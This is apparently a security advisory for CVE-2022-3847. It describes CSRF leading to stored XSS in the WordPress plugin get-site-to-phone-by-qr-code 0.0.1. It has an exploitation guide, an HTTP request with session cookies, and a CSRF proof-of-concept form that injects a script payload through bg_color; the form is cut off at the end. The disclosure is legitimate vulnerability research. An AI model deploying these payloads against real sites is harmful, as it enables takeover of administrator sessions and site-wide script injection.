get-site-to-phone-by-qr-code 0.0.1 WordPress plug-in Stored XSS via CSRF

Vulnerability Metadata

Key Value
Date of Disclosure November 03 2022
Affected Software get-site-to-phone-by-qr-code
Affected Software Type WordPress plugin
Version 0.0.1
Weakness Cross-Site Request Forgery, Stored Cross-Site Scripting
CWE ID CWE-352, CWE-79
CVE ID CVE-2022-3847
CVSS 3.x Base Score 6.1
CVSS 2.0 Base Score n/a
Reporter Kunal Sharma, Daniel Krohmer
Reporter Contact
Link to Affected Software
Link to Vulnerability DB

Vulnerability Description

The lack of CSRF protection in get-site-to-phone-by-qr-code 0.0.1 results in Stored-XSS via CSRF. An attacker can make an Admin or Editor to save plugin and QR code display settings. This leads to Stored Cross-Site Scripting in bg_color query parameter.

Exploitation Guide

Stored XSS

Login as user with Editor role or above. This attack requires at least Editor privileges.



Go to QR CODE page on the WordPress site dashboard.


Click Save with/without changing any defaults.


Clicking Save button triggers the vulnerable request. We have to add the payload to POST query parameterbg_color in the request.


Sending the POC request stores XSS payload in the plugin database. A POC may look like the following request:


The malicious value of bg_color is reflected on QR Code page in the WordPress site dashboard, and also on every post/page created on the site.



In the code, the vulnerability is triggered by un-sanitized user input of bg_color at line 190 in ./init.php.


At lines 192-202 in ./init.php the database query replace call on array containing bg_color. This stores the malicious XSS payload in the plugin database.


At lines 334-351 is prepared with values from database(inc. bg_color) inside ./init.php. Finally malicious XSS payload is refleted inbg_color and is rendered on:

  1. QR Code page in the WordPress site dashboard.
  2. Every post/page created on the site.


CSRF :arrow_forward: Stored-XSS

The plugin does not have any CSRF protection while Save functionality:


No CSRF checks leads to creation of custom request. This request is used to persist/store malicious XSS payload(manual process already shown above in Stored XSS). A threat actor can create a self-submit html page. This malicious page will create a request to persist XSS payload in the plugin database.

Sending the malicious CSRF page logged in Admin or Editor leads to site-wide Stored-XXS.


Exploit Payload

Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.

Stored XSS Payload:


The Stored-XSS can be triggered by sending the request below:

POST /wp-admin/admin.php?page=my-unique-qr-code HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?page=my-unique-qr-code
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
Origin: http://localhost
Connection: close
Cookie: notice_hide_1_3_10=true; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1666185599; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_c9db569cb388e160e4b86ca1ddff84d7=joey%7C1666740858%7CdmUzOZ7bHP7eIwmAAeMXbXBW0PX5ptfUoDoCFccrMsL%7C24fde3662c890c83a4324551bce9bffbe4d86c5a21004640052c74689a3b04a4; wordpress_logged_in_c9db569cb388e160e4b86ca1ddff84d7=joey%7C1666740858%7CdmUzOZ7bHP7eIwmAAeMXbXBW0PX5ptfUoDoCFccrMsL%7C36f086f4fa957ab1e22880067be5cbc297b790f2f073a4b509ab8e00d3f819dd; wp-settings-time-2=1666568061
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1


CSRF Payload:

<html><form enctype="multipart/form-data" method="POST" action="http://<WordPress-Site>/wp-admin/admin.php?page=my-unique-qr-code" id="csrfpoc"><table><tr><td>checkbox-nested-2</td><td><input type="text" value="on" name="checkbox-nested-2"></td></tr>
<tr><td>bg_color</td><td><input type="text" value="&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;script&gt;alert(window.origin)&lt;/script&gt;" name="bg_color" size="40"></td></tr>
<tr><td>colorDark</td><td><input type="text" value="#000000" name="colorDark"></td></tr>
<tr><td>colorLight</td><td><input type="text" value="#ffffff" name="colorLight"></td></tr>
<tr><td>width</td><td><input type="text" value="200" name="width"></td></tr>
<tr><td>height</td><td><input type="text" value="200" name="height"></td></tr>
<tr><td>urlinqrcoed-submit</td><td><input type="text" value="Save" name="urlinqrcoed-submit"></td></tr>